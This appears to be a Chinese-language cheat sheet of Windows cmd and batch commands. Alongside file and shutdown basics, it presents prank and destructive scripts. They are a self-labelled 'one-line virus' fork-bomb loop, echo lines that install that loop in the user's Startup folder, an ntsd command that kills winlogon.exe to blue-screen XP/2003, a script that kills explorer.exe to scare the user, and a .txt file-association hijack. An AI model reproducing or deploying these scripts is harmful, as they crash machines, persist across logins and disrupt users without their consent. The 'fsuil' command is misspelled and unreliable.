dir #浏览磁盘
dir /a #浏览磁盘所有文件,包括被隐藏的
type 文件拓展名 #读取文件内容
> #重定向 正确输出
echo 文件内容 > 文件拓展名 #创建文件 >为覆盖,>>为追加
copy con 文件拓展名 编辑内容 ctrl Z结束 #创建多行的文件
del 文件拓展名 #删除文件
del *.* /q #删除不加提示
del *.* /s #删除所有目录
md 文件夹 #创建文件夹
attrib +h +s +a 文件夹 #给文件夹添加属性,h是hide,s是系统级受保护的,a是只可读
attrib -h 文件夹 #取消隐藏
fsuil file createnew c:\system.ini 20480000
#生成新文件放在c盘,数字是文件大小 空格,单位是字节
attrib +h +s system.ini #
assoc .txt=exefile #修改关联性
assoc .txt=txtfile #返回原样
shutdown -s -t 100 #关机,-t 100时间100秒后
shutdown -s -t 100 -c "任命吧" #
shutdown -a #解除一切定时
shutdown -r -f -t 100 #定时重启,-f是强制,没有提示
shutdown -l =logoff #注销
copy .txt ..\b\ #..上一级,\b\ b文件夹 复制文件
copy \xx\b\x.txt .\
#当前目录下拷贝别的目录下文件,当前目录和b同属xx目录,.\当前目录
move .txt c:\ #当前目录下的问价移动到c盘,方法和copy类似
ren .txt .txt #文件重命名
批处理的编写
- 批处理的作用
自上而下处理每一条命令,直到处理最后一条命令 - 如何创建批处理
扩展名:.bat
方法:创建一个记事本,扩展名.bat
例如:
color ? #询问颜色
echo. #空一行
d: #d盘
cd\ #打开
fsuil file createnew d:\system.ini 4096 #新建含空格大小的文件
一句话病毒
:d
start #start后面可以是文件程序或者网站
goto d #寻找执行d ,这样就一直循环,系统就崩了
一个小程序
set设置变量
:定义标签名
goto实现跳转
补充:
在启动菜单生成批处理
echo :a >>"%userprofile%\ 开始启动 \小程序.bat"
echo start >>"%userprofile%\ 开始启动 \小程序.bat"
echo goto a >>"%userprofile%\ 开始启动 \小程序.bat"
goto menu
针对2003或xp的补充
ntsd -c q -pn winlogon.exe
#针对2003或xp的蓝屏命令,强制指定删除window登录进程
删除桌面
@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul #强制杀死桌面进程
echo 傻了吧
ping -n 5 127.0.0.1 >nul 2>nul
start c:windows\explorer.exe
echo 就是吓唬你的
pause